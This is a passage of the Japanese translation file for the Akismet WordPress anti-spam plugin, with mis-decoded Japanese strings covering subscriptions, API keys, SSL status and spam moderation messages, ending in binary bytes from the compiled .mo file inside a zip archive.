suspended." msgstr "Akismet ã®ã‚µãƒ–スクリプションã¯åœæ­¢ä¸­ã§ã™ã€‚" #: views/notice.php:65 msgid "Your Akismet plan has been cancelled." msgstr "Akismet プランをå–り消ã—ã¾ã—ãŸã€‚" #: views/notice.php:61 msgid "We cannot process your payment. Please update your payment details." msgstr "ãŠæ”¯æ‰•ã„を処ç†ã§ãã¾ã›ã‚“ã€‚æ”¯æ‰•ã„æƒ…報を更新ã—ã¦ãã ã•ã„。" #: views/notice.php:60 msgid "Please update your payment information." msgstr "æ”¯æ‰•ã„æƒ…報を更新ã—ã¦ãã ã•ã„。" #: views/notice.php:17 msgid "Almost done - configure Akismet and say goodbye to spam" msgstr "ã‚‚ã†ã™ã完了ã§ã™ - Akismet を設定ã—ã¦ã‚¹ãƒ‘ムã«ã‚µãƒ¨ãƒŠãƒ©ã—ã¾ã—ょã†" #: class.akismet-admin.php:1009 msgid "Akismet has saved you %d minute!" msgid_plural "Akismet has saved you %d minutes!" msgstr[0] "Akismet ã¯åˆè¨ˆ%d分を節約ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:1007 msgid "Akismet has saved you %d hour!" msgid_plural "Akismet has saved you %d hours!" msgstr[0] "Akismet ã¯åˆè¨ˆ%d時間を節約ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:1005 msgid "Akismet has saved you %s day!" msgid_plural "Akismet has saved you %s days!" msgstr[0] "Akismet ã¯åˆè¨ˆ%s日を節約ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:182 class.akismet-admin.php:220 #: class.akismet-admin.php:233 msgid "Akismet filters out spam, so you can focus on more important things." msgstr "Akismet ã¯ã‚¹ãƒ‘ムをフィルターã—ã€ã‚ãªãŸãŒã‚‚ã£ã¨é‡è¦ãªã“ã¨ã«é›†ä¸­ã§ãるよã†ã«ã—ã¾ã™ã€‚" #: views/notice.php:135 msgid "To continue your service, upgrade to an Enterprise subscription, which covers an unlimited number of sites." msgstr "サービスを引ãç¶šã使ã†ã«ã¯ã€ç„¡åˆ¶é™ã®ã‚µã‚¤ãƒˆã§ä½¿ãˆã‚‹ Enterprise プランã¸ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。" #: views/notice.php:128 msgid "Your Pro subscription allows the use of Akismet on only one site. Please purchase additional Pro subscriptions or upgrade to an Enterprise subscription that allows the use of Akismet on unlimited sites." msgstr "ã‚ãªãŸã® Pro プランã¯1サイトã®ã¿ã§åˆ©ç”¨å¯èƒ½ã§ã™ã€‚追加㮠Pro プランを購入ã™ã‚‹ã‹ã€ç„¡åˆ¶é™ã®ã‚µã‚¤ãƒˆã§ Akismet を利用ã§ãã‚‹ Enterprise プランã¸ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。" #: views/notice.php:121 msgid "The connection to akismet.com could not be established. Please refer to our guide about firewalls and check your server configuration." msgstr "akismet.com ã¸ã®æŽ¥ç¶šãŒç¢ºç«‹ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ファイアウォールã«ã¤ã„ã¦ã®ã‚¬ã‚¤ãƒ‰ã‚’å‚ç…§ã—ã€ã‚µãƒ¼ãƒã®è¨­å®šã‚’確èªã—ã¦ãã ã•ã„。" #: views/notice.php:120 msgid "The API key you entered could not be verified." msgstr "入力ã•れ㟠API キーをèªè¨¼ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: views/notice.php:116 msgid "Your API key is no longer valid. Please enter a new key or contact support@akismet.com." msgstr "API ã‚­ãƒ¼ã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¦ã„ã¾ã™ã€‚æ–°ã—ã„キーを入力ã™ã‚‹ã‹ã€support@akismet.com ã¸ã”連絡ãã ã•ã„。" #: views/notice.php:89 views/notice.php:130 views/notice.php:137 msgid "Please contact our support team with any questions." msgstr "質å•ãŒã‚れã°ã‚µãƒãƒ¼ãƒˆãƒãƒ¼ãƒ ã¸é€£çµ¡ã—ã¦ãã ã•ã„。" #: views/notice.php:87 msgid "In 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we’d appreciate it if you’d sign into your account and choose one." msgstr "2012年以é™ã€Akismet 㯠(無料をå«ã‚€) ã™ã¹ã¦ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§ãƒ—ラン形å¼ã®ã‚µãƒ–スクリプションを採用ã—ã¾ã—ãŸã€‚アカウントã«ã¾ã ãƒ—ランãŒå‰²ã‚Šå½“ã¦ã‚‰ã‚Œã¦ã„ã¾ã›ã‚“ã®ã§ã€ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãƒ—ãƒ©ãƒ³ã‚’é¸æŠžã—ã¦ã„ãŸã ã‘ã‚‹ã¨å¹¸ã„ã§ã™ã€‚" #: views/config.php:95 msgid "All systems functional." msgstr "ã™ã¹ã¦ã®ã‚·ã‚¹ãƒ†ãƒ ã¯ä½œå‹•中ã§ã™ã€‚" #: views/config.php:95 msgid "Enabled." msgstr "有効。" #: views/config.php:92 msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly." msgstr "Akismet ã¯ä»¥å‰ã® SSL リクエストã§å•題ã«ç›´é¢ã—ã€ä¸€æ™‚çš„ã«ç„¡åŠ¹åŒ–ã—ã¾ã—ãŸã€‚リクエストã§ã® SSL ã®ä½¿ç”¨ã¯ç›´ã¡ã«å†é–‹ã•れã¾ã™ã€‚" #: views/config.php:92 msgid "Temporarily disabled." msgstr "一時的ã«ç„¡åŠ¹åŒ–ä¸­ã€‚" #: views/config.php:86 msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests." msgstr "ãŠä½¿ã„ã® Web サーãƒã¯ SSL リクエストを発行ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。ウェブホストã«é€£çµ¡ã—〠SSL リクエストã®ã‚µãƒãƒ¼ãƒˆã‚’追加ã™ã‚‹ã‚ˆã†ã«é ¼ã‚“ã§ãã ã•ã„。" #: views/config.php:86 msgid "Disabled." msgstr "無効。" #: views/config.php:79 msgid "SSL Status" msgstr "SSL ã®çŠ¶æ…‹" #: class.akismet-admin.php:635 msgid "This comment was reported as not spam." msgstr "ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚¹ãƒ‘ムã§ã¯ãªã„ã¨ã—ã¦å ±å‘Šã•れã¾ã—ãŸã€‚" #: class.akismet-admin.php:627 msgid "This comment was reported as spam." msgstr "ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã‚¹ãƒ‘ムã¨ã—ã¦å ±å‘Šã•れã¾ã—ãŸã€‚" #. Author URI of the plugin msgid "https://automattic.com/wordpress-plugins/" msgstr "https://automattic.com/wordpress-plugins/" #. Author of the plugin msgid "Automattic" msgstr "Automattic" #. Plugin URI of the plugin msgid "https://akismet.com/" msgstr "https://akismet.com/" #: views/enter.php:2 msgid "Manually enter an API key" msgstr "手動㧠API キーを入力" #: views/connect-jp.php:39 msgid "Contact Akismet support" msgstr "Akismet サãƒãƒ¼ãƒˆã¸å•ã„åˆã‚ã›ã‚‹" #: views/connect-jp.php:45 msgid "No worries! Get in touch and we’ll sort this out." msgstr "ã”心é…ãªã。ãŠå•ã„åˆã‚ã›ãã ã•れã°è§£æ±ºã®ãŠæ‰‹ä¼ã„ã‚’ã•ã›ã¦ã„ãŸã ãã¾ã™ã€‚" #. translators: %s is the WordPress.com email address #: views/connect-jp.php:44 msgid "Your subscription for %s is suspended." msgstr "%s ã®ã‚µãƒ–スクリプションã¯ç¾åœ¨åœæ­¢ä¸­ã§ã™ã€‚" #. translators: %s is the WordPress.com email address #: views/connect-jp.php:36 msgid "Your subscription for %s is cancelled." msgstr "%s ã®ã‚µãƒ–スクリプションをキャンセルã—ã¾ã—ãŸã€‚" #: views/notice.php:133 msgid "You’re using Akismet on far too many sites for your Pro subscription." msgstr "Pro サブスクリプションã«å«ã¾ã‚Œã‚‹æ•°ã‚’ã‹ãªã‚Šè¶…ãˆãŸã‚µã‚¤ãƒˆã§ Akismet キーを使用ã—ã¦ã„ã¾ã™ã€‚" #: views/notice.php:126 msgid "You’re using your Akismet key on more sites than your Pro subscription allows." msgstr "Pro サブスクリプションã«å«ã¾ã‚Œã‚‹æ•°ã‚ˆã‚Šã‚‚多ã„サイト㧠Akismet キーを使用ã—ã¦ã„ã¾ã™ã€‚" #: views/notice.php:112 msgid "The key you entered is invalid. Please double-check it." msgstr "入力ã•れãŸã‚­ãƒ¼ã¯ç„¡åйã§ã™ã€‚ キーをå†ç¢ºèªã—ã¦ãã ã•ã„。" #: views/notice.php:80 msgid "There is a problem with your API key." msgstr "API キーã«å•題ãŒã‚りã¾ã™ã€‚" #: views/notice.php:76 msgid "You can help us fight spam and upgrade your account by contributing a token amount." msgstr "ã„ãらã‹ã®é‡‘é¡ã‚’寄与ã—ã¦ã„ãŸã ãã“ã¨ã§ã€ç§ãŸã¡ã®ã‚¹ãƒ‘ム退治ã«ã”å”力ã„ãŸã ã‘ã¾ã™ã€‚" #: views/notice.php:71 views/notice.php:81 msgid "Please contact Akismet support for assistance." msgstr "ヘルプãŒå¿…è¦ãªå ´åˆã¯ Akismet サãƒãƒ¼ãƒˆã«ã”連絡ãã ã•ã„。" #: views/notice.php:66 msgid "Please visit your Akismet account page to reactivate your subscription." msgstr "ã‚µãƒ–ã‚¹ã‚¯ãƒªãƒ—ã‚·ãƒ§ãƒ³ã‚’å†æœ‰åŠ¹åŒ–ã™ã‚‹ã«ã¯ Akismet ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãƒšãƒ¼ã‚¸ã«ç§»å‹•ã—ã¦ãã ã•ã„。" #: views/notice.php:56 msgid "Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to our guide about firewalls." msgstr "ファイアウォール㌠Akismet ã® API ã¸ã®æŽ¥ç¶šã‚’ブロックã—ã¦ã„ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚ホスティングサービスã«é€£çµ¡ã—ã€ãƒ•ァイアウォールã«é–¢ã™ã‚‹ã‚¬ã‚¤ãƒ‰ã«è¨€åŠã—ã¦ãã ã•ã„。" #: views/notice.php:51 msgid "Your web host or server administrator has disabled PHP’s gethostbynamel function. Akismet cannot work correctly until this is fixed. Please contact your web host or firewall administrator and give them this information about Akismet’s system requirements." msgstr "ホスティングサービスã¾ãŸã¯ã‚µãƒ¼ãƒãƒ¼ç®¡ç†è€…㌠PHP ã® gethostbynamel 関数を無効化ã—ã¦ã„ã¾ã™ã€‚ã“れãŒä¿®æ­£ã•れるã¾ã§ã€Akismet ã¯æ­£ã—ã動作ã§ãã¾ã›ã‚“。ホスティングサービスã¾ãŸã¯ãƒ•ァイアウォール管ç†è€…ã«é€£çµ¡ã—ã€ã“ã¡ã‚‰ã® Akismet システムè¦ä»¶ã‚’ãŠä¼ãˆä¸‹ã•ã„。" #: views/notice.php:50 msgid "Network functions are disabled." msgstr "サイトãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯é–¢æ•°ãŒç„¡åŠ¹åŒ–ã•れã¦ã„ã¾ã™ã€‚" #. translators: the placeholder is a clickable URL that leads to more #. information regarding an error code. #: views/notice.php:36 msgid "For more information: %s" msgstr "詳細: %s" #: views/notice.php:31 msgid "Akismet Error Code: %s" msgstr "Aksimet エラーコード: %s" #: views/notice.php:24 msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later." msgstr "一部ã®ã‚³ãƒ¡ãƒ³ãƒˆãŒ Akismet ã®ã‚¹ãƒ‘ムãƒã‚§ãƒƒã‚¯ã‚’通ã•れã¦ã„ã¾ã›ã‚“ã€‚ä¸€æ™‚çš„ã«æ‰¿èªå¾…ã¡çŠ¶æ…‹ã«ãªã£ã¦ãŠã‚Šã€å¾Œã»ã©è‡ªå‹•çš„ã«å†ãƒã‚§ãƒƒã‚¯ã•れã¾ã™ã€‚" #: views/notice.php:23 msgid "Akismet has detected a problem." msgstr "Akismet ãŒéšœå®³ã‚’検知ã—ã¾ã—ãŸã€‚" #: views/config.php:233 msgid "Change" msgstr "変更" #: views/config.php:233 msgid "Upgrade" msgstr "アップグレード" #: views/config.php:222 msgid "Next Billing Date" msgstr "次回ã®èª²é‡‘æ—¥" #: views/config.php:216 msgid "Active" msgstr "有効" #: views/config.php:214 msgid "No Subscription Found" msgstr "サブスクリプションãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ" #: views/config.php:212 msgid "Missing" msgstr "䏿˜Ž" #: views/config.php:210 msgid "Suspended" msgstr "ä¸€æ™‚åœæ­¢ä¸­" #: views/config.php:208 msgid "Cancelled" msgstr "キャンセル済ã¿" #: views/config.php:176 msgid "Save Changes" msgstr "変更をä¿å­˜" #: views/config.php:170 msgid "Disconnect this account" msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã®é€£æºã‚’解除" #: views/config.php:141 msgid "Spam in the spam folder older than 1 day is deleted automatically." msgid_plural "Spam in the spam folder older than %2$d days is deleted automatically." msgstr[0] "スパムフォルダー内ã®%2$d日以上経éŽã—ãŸã‚¹ãƒ‘ムã¯è‡ªå‹•çš„ã«å‰Šé™¤ã•れã¾ã™ã€‚" #: views/config.php:135 msgid "Note:" msgstr "注:" #: views/config.php:133 msgid "Always put spam in the Spam folder for review." msgstr "スパムを常ã«ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘レビューã™ã‚‹ã€‚" #: views/config.php:132 msgid "Silently discard the worst and most pervasive spam so I never see it." msgstr "最も悪質ãªç¨®é¡žã®åºƒç¯„囲ãªã‚¹ãƒ‘ムを自動的ã«å‰Šé™¤ã—ã€ç›®ã«è§¦ã‚Œãªã„よã†ã«ã™ã‚‹ã€‚" #: views/config.php:131 msgid "Akismet anti-spam strictness" msgstr "Akismet アンãƒã‚¹ãƒ‘ム強度" #: views/config.php:122 msgid "Show the number of approved comments beside each comment author" msgstr "ã‚³ãƒ¡ãƒ³ãƒˆã®æŠ•ç¨¿è€…ã®æ¨ªã«æ‰¿èªã•れãŸã‚³ãƒ¡ãƒ³ãƒˆæ•°ã‚’表示ã™ã‚‹ã€‚" #: views/config.php:109 msgid "Show approved comments" msgstr "æ‰¿èªæ¸ˆã¿ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’表示ã™ã‚‹" #: views/config.php:45 msgid "Accuracy" msgstr "精度" #: views/config.php:40 msgid "All time" msgstr "全期間" #: views/config.php:37 views/config.php:42 msgid "Spam blocked" msgid_plural "Spam blocked" msgstr[0] "ブロックã—ãŸã‚¹ãƒ‘ム" #: views/config.php:35 msgid "Past six months" msgstr "éŽåŽ»6ヶ月間" #: class.akismet.php:1357 msgid "Please upgrade WordPress to a current version, or downgrade to version 2.4 of the Akismet plugin." msgstr "WordPress を最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã‚¢ãƒƒãƒ—グレードã™ã‚‹ã‹ã€Akismet プラグインをãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2.4ã«ãƒ€ã‚¦ãƒ³ã‚°ãƒ¬ãƒ¼ãƒ‰ã—ã¦ãã ã•ã„。" #: class.akismet.php:1357 msgid "Akismet %s requires WordPress %s or higher." msgstr "Akismet %s ã«ã¯ WordPress %s 以é™ãŒå¿…è¦ã§ã™ã€‚" #: class.akismet-admin.php:642 msgid "Akismet cleared this comment during an automatic retry." msgstr "自動å†è©¦è¡Œã®éš›ã« Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:639 msgid "Akismet caught this comment as spam during an automatic retry." msgstr "自動å†è©¦è¡Œã®éš›ã« Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:632 msgid "%s reported this comment as not spam." msgstr "%s ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã§ã¯ãªã„ã¨ã—ã¦å ±å‘Šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:624 msgid "%s reported this comment as spam." msgstr "%s ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦å ±å‘Šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:671 msgid "%1$s changed the comment status to %2$s." msgstr "%1$s ã¯ã‚³ãƒ¡ãƒ³ãƒˆã®çŠ¶æ…‹ã‚’ %2$s ã«å¤‰æ›´ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:646 msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later." msgstr "Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸ(応答: %s)ãŒã€å¾Œã»ã©è‡ªå‹•çš„ã«å†è©¦è¡Œã—ã¾ã™ã€‚" #: class.akismet-admin.php:612 msgid "Akismet cleared this comment." msgstr "Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:665 msgid "Comment status was changed to %s" msgstr "コメントã®çŠ¶æ…‹ã‚’ %s ã¸ã¨å¤‰æ›´ã—ã¾ã—ãŸ" #: class.akismet-admin.php:606 msgid "Akismet caught this comment as spam." msgstr "Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-widget.php:102 msgid "%1$s spam blocked by Akismet" msgid_plural "%1$s spam blocked by Akismet" msgstr[0] "%1$sä»¶ã®ã‚¹ãƒ‘ム㌠Akismet ã«ã‚ˆã£ã¦ãƒ–ロックã•れã¾ã—ãŸ" #: class.akismet-widget.php:74 msgid "Title:" msgstr "タイトル:" #: class.akismet-widget.php:69 class.akismet-widget.php:90 msgid "Spam Blocked" msgstr "ブロックã—ãŸã‚¹ãƒ‘ム" #: class.akismet-widget.php:13 msgid "Display the number of spam comments Akismet has caught" msgstr "Akismet ãŒæ•ç²ã—ãŸã‚¹ãƒ‘ムコメント数を表示" #: class.akismet-widget.php:12 msgid "Akismet Widget" msgstr "Akismet ウィジェット" #: class.akismet-admin.php:1002 msgid "Cleaning up spam takes time." msgstr "スパムã®é™¤åŽ»ã«ã¯æ™‚é–“ãŒã‹ã‹ã‚Šã¾ã™ã€‚" #: class.akismet-admin.php:895 msgid "Please check your Akismet configuration and contact your web host if problems persist." msgstr "Akismet ã®è¨­å®šã‚’確èªã—ã¦ã€å•題ãŒç¶™ç¶šã™ã‚‹ã‚ˆã†ã§ã‚れã°ã‚¦ã‚§ãƒ–ホストã«ã”確èªãã ã•ã„。" #: class.akismet-admin.php:680 msgid "%s ago" msgstr "%så‰" #: class.akismet-admin.php:576 msgid "%s approved" msgid_plural "%s approved" msgstr[0] "%s ãŒæ‰¿èª" #: class.akismet-admin.php:553 msgid "History" msgstr "履歴" #: class.akismet-admin.php:553 class.akismet-admin.php:561 msgid "View comment history" msgstr "コメント履歴を表示" #: class.akismet-admin.php:541 msgid "Un-spammed by %s" msgstr "%s ãŒã‚¹ãƒ‘ム判定を解除" #: class.akismet-admin.php:539 msgid "Flagged as spam by %s" msgstr "%s ãŒã‚¹ãƒ‘ムã¨åˆ¤å®š" #: class.akismet-admin.php:535 msgid "Cleared by Akismet" msgstr "Akismet ãŒéžã‚¹ãƒ‘ムã¨åˆ¤å®š" #: class.akismet-admin.php:533 msgid "Flagged as spam by Akismet" msgstr "Akismet ã«ã‚ˆã‚Šã‚¹ãƒ‘ムã¨åˆ¤å®š" #: class.akismet-admin.php:529 msgid "Awaiting spam check" msgstr "スパムãƒã‚§ãƒƒã‚¯å¾…ã¡" #: class.akismet-admin.php:654 msgid "Akismet was unable to recheck this comment (response: %s)." msgstr "Akismet ã¯ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†åº¦ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸã€‚(応答: %s)" #: class.akismet-admin.php:609 msgid "Akismet re-checked and cleared this comment." msgstr "Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ãƒã‚§ãƒƒã‚¯ã—ã€éžã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:603 msgid "Akismet re-checked and caught this comment as spam." msgstr "Akismet ãŒã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å†ãƒã‚§ãƒƒã‚¯ã—ã€ã‚¹ãƒ‘ムã¨åˆ¤å®šã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:422 msgid "Check for Spam" msgstr "スパムãƒã‚§ãƒƒã‚¯" #: class.akismet-admin.php:375 msgid "There’s nothing in your spam queue at the moment." msgstr "ç¾åœ¨ä¿ç•™ä¸­ã®ã‚¹ãƒ‘ムã¯ã‚りã¾ã›ã‚“。" #: class.akismet-admin.php:369 msgid "There’s %1$s comment in your spam queue right now." msgid_plural "There are %1$s comments in your spam queue right now." msgstr[0] "ç¾åœ¨%1$sä»¶ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’スパムã¨ã—ã¦æ•らãˆã¦ã„ã¾ã™ã€‚" #: class.akismet-admin.php:363 msgid "Akismet blocks spam from getting to your blog. " msgstr "Akismet ãŒã‚ãªãŸã®ãƒ–ログをスパムã‹ã‚‰ä¿è­·ã—ã¦ã„ã¾ã™ã€‚" #: class.akismet-admin.php:357 msgid "Akismet has protected your site from %2$s spam comment already. " msgid_plural "Akismet has protected your site from %2$s spam comments already. " msgstr[0] "Akismet ã¯ã€%2$sä»¶ã®ã‚¹ãƒ‘ムコメントã‹ã‚‰ã‚ãªãŸã®ã‚µã‚¤ãƒˆã‚’ä¿è­·ã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:347 msgid "Akismet has protected your site from %3$s spam comment." msgid_plural "Akismet has protected your site from %3$s spam comments." msgstr[0] "Akismet ã¯ã“ã®ã‚µã‚¤ãƒˆã§ä»Šã¾ã§%3$sä»¶ã®ã‚¹ãƒ‘ムコメントをブロックã—ã¾ã—ãŸã€‚" #: class.akismet-admin.php:345 msgctxt "comments" msgid "Spam" msgstr "スパム" #: class.akismet-admin.php:275 msgid "Cheatin’ uh?" msgstr "é–“é•ãˆã¾ã—ãŸã‹ ?" #: class.akismet-admin.php:269 msgid "Akismet Support" msgstr "Akismet サãƒãƒ¼ãƒˆ" #: class.akismet-admin.php:268 msgid "Akismet FAQ" msgstr "Akismet ã¸ã®ã‚ˆãã‚る質å•" #: class.akismet-admin.php:267 msgid "For more information:" msgstr "詳細情報:" #: class.akismet-admin.php:258 msgid "The subscription status - active, cancelled or suspended" msgstr "ã‚µãƒ–ã‚¹ã‚¯ãƒªãƒ—ã‚·ãƒ§ãƒ³çŠ¶æ³ - 有効ã€ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã€ä¸€æ™‚åœæ­¢" #: views/config.php:203 class.akismet-admin.php:258 msgid "Status" msgstr "ステータス" #: class.akismet-admin.php:257 msgid "The Akismet subscription plan" msgstr "Akismet サブスクリプションプラン" #: views/config.php:196 class.akismet-admin.php:257 msgid "Subscription Type" msgstr "サブスクリプションタイプ" #: views/config.php:188 class.akismet-admin.php:254 msgid "Account" msgstr "アカウント" #: class.akismet-admin.php:246 msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder." msgstr "最も悪質ãªç¨®é¡žã®ã‚¹ãƒ‘ムを自動的ã«å‰Šé™¤ã™ã‚‹ã‹ã€ã™ã¹ã¦ã®ã‚¹ãƒ‘ãƒ ã‚’ã‚¹ãƒ‘ãƒ ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã«æŒ¯ã‚Šåˆ†ã‘ã‚‹ã‹é¸æŠžã—ã¦ãã ã•ã„。" #: views/config.php:128 class.akismet-admin.php:246 msgid "Strictness" msgstr "厳密度" #: class.akismet-admin.php:245 msgid "Show the number of approved comments beside each comment author in the comments list page." msgstr "ã‚³ãƒ¡ãƒ³ãƒˆã®æŠ•ç¨¿è€…ã®è„‡ã«æ‰¿èªã—ãŸã‚³ãƒ¡ãƒ³ãƒˆã®æ•°ã‚’表示ã™ã‚‹" #: views/config.php:105 class.akismet-admin.php:245 msgid "Comments" msgstr "コメント" #: class.akismet-admin.php:244 msgid "Enter/remove an API key." msgstr "API キーを入力ã¾ãŸã¯å‰Šé™¤ã—ã¦ãã ã•ã„。" #: views/config.php:70 class.akismet-admin.php:244 msgid "API Key" msgstr "API キー" #: class.akismet-admin.php:232 class.akismet-admin.php:243 #: class.akismet-admin.php:256 msgid "Akismet Configuration" msgstr "Akismet 設定" #: class.akismet-admin.php:221 msgid "On this page, you are able to view stats on spam filtered on your site." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã§ã¯ã€ã‚¹ãƒ‘ムフィルターã®çµ±è¨ˆã‚’見るã“ã¨ãŒã§ãã¾ã™ã€‚" #: class.akismet-admin.php:219 msgid "Akismet Stats" msgstr "Akismet 統計" #: class.akismet-admin.php:207 msgid "Click the Use this Key button." msgstr "「ã“ã®ã‚­ãƒ¼ã‚’使用ã€ã‚’クリックã—ã¦ãã ã•ã„。" #: class.akismet-admin.php:206 msgid "Copy and paste the API key into the text field." msgstr "テキスト欄㫠API キーをコピー & ペーストã—ã¦ãã ã•ã„。" #: class.akismet-admin.php:204 msgid "If you already have an API key" msgstr "API キーをã™ã§ã«ãŠæŒã¡ã®å ´åˆ" #: class.akismet-admin.php:201 msgid "Enter an API Key" msgstr "API キーを入力ã—ã¦ãã ã•ã„" #: class.akismet-admin.php:194 msgid "Sign up for an account on %s to get an API Key." msgstr "API キーをå–å¾—ã™ã‚‹ã«ã¯ %s ã§ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’登録ã—ã¦ãã ã•ã„。" #: class.akismet-admin.php:193 msgid "You need to enter an API key to activate the Akismet service on your site." msgstr "Akismet サービスを有効化ã™ã‚‹ãŸã‚ã«ã¯ API キーを入力ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" #: class.akismet-admin.php:190 msgid "New to Akismet" msgstr "Akismet ã‚’åˆã‚ã¦ã”åˆ©ç”¨ã®æ–¹" #: class.akismet-admin.php:183 msgid "On this page, you are able to set up the Akismet plugin." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã§ Akismet プラグインを設定ã§ãã¾ã™ã€‚" #: class.akismet-admin.php:181 class.akismet-admin.php:192 #: class.akismet-admin.php:203 msgid "Akismet Setup" msgstr "Akismet 設定" #: class.akismet-admin.php:179 class.akismet-admin.php:217 #: class.akismet-admin.php:230 msgid "Overview" msgstr "概è¦" #: class.akismet-admin.php:148 msgid "Re-adding..." msgstr "å†åº¦è¿½åŠ ä¸­â€¦" #: class.akismet-admin.php:147 msgid "(undo)" msgstr "(å–æ¶ˆ)" #: class.akismet-admin.php:146 msgid "URL removed" msgstr "URL を削除ã—ã¾ã—ãŸ" #: class.akismet-admin.php:145 msgid "Removing..." msgstr "削除中…" #: class.akismet-admin.php:144 msgid "Remove this URL" msgstr "ã“ã® URL を削除" #: class.akismet-admin.php:86 class.akismet-admin.php:1212 msgid "Akismet" msgstr "Akismet" #: views/config.php:60 class.akismet-admin.php:105 class.akismet-admin.php:241 #: class.akismet-admin.php:696 msgid "Settings" msgstr "設定" #: class.akismet-admin.php:82 msgid "Comment History" msgstr "コメント履歴"PKø®–[²3å(x(x akismet-ja.monu„[µü¤Þ•Í„ì @(ABj4­âé?$Af%„!ªÌ¨Ó¼|@9™zH=]›#£ÇÏØß+ç%; R ^ lzŠ™>¶$õ87S‹1©ŠÛDf«>ËB <M3Š>¾ý3,H[uLÑ:+Y….¦AÕ *5 ISZm|_–ö&!Eg€•¥¸ Ëì$9/Q2´ ÃÍ2å6OnŒ•¦¹Òð ! 7 P sX cÌ 0!ôO!D"Y"s"{"›"ª"¼"Ò" æ"7#?#8E#O~#GÎ#$$‡/$T·$g %Ot%'Ä%hì%U&,]& Š&—& §& ³& ¾&Ë&æ&B'E'N'?e'Z¥'/(E0(–v( ))¯4) ä)$ï)* *&* 8*B*.X*‡*§¥*7M+8…+L¾+9 ,%E,Vk,”Â,HW-& -"Ç-‰ê-Ct.7¸.ð.Œ÷.Ò„/ W0c0t0.|0'«0Ó1¿ë2«3dÀ3%4:¶5ñ5t 6%6%¥6JË6K7Tb7W·7%8'58ë]8mI9£·95[:&‘:&¸:Lß: ,<:<)O<.y<>¨=>ç=>&>e> k>Ax>º>Ì>Nê>B9?|?s…?‰ù?[ƒ@vß@jVAPÁA BVBtB„B‹B’B7šB&ÒBùBC 'CHCWCfC{C –CZ·CAD=TD]’DDðDM5E¨ƒEw,F)¤F1ÎF.G./GR^Gk±G HV>HY•HïHkIhëIDTJ-™J ÇJNÑJU KvK KšK¶KÌKÓKëK L¢"L3ÅL ùL?M;ZM5–M&ÌMóM'N'.N4VN0‹N ¼N"ÉNìN)OM.Oi|OæO üO'PW.P8†P9¿P!ùP Q%%Q%KQ7qQ,©QÖQ#ïQ R !R,R›3RŠÏR(ZSKƒS ÏTÜTúTBU#DUhU<{U'¸U?àUi VŠVBVqÒVZDWŸW¦WÆ·Wf~XˆåXonY-ÞY™ Z¦Z,¹ZæZùZ [ [)[9[ 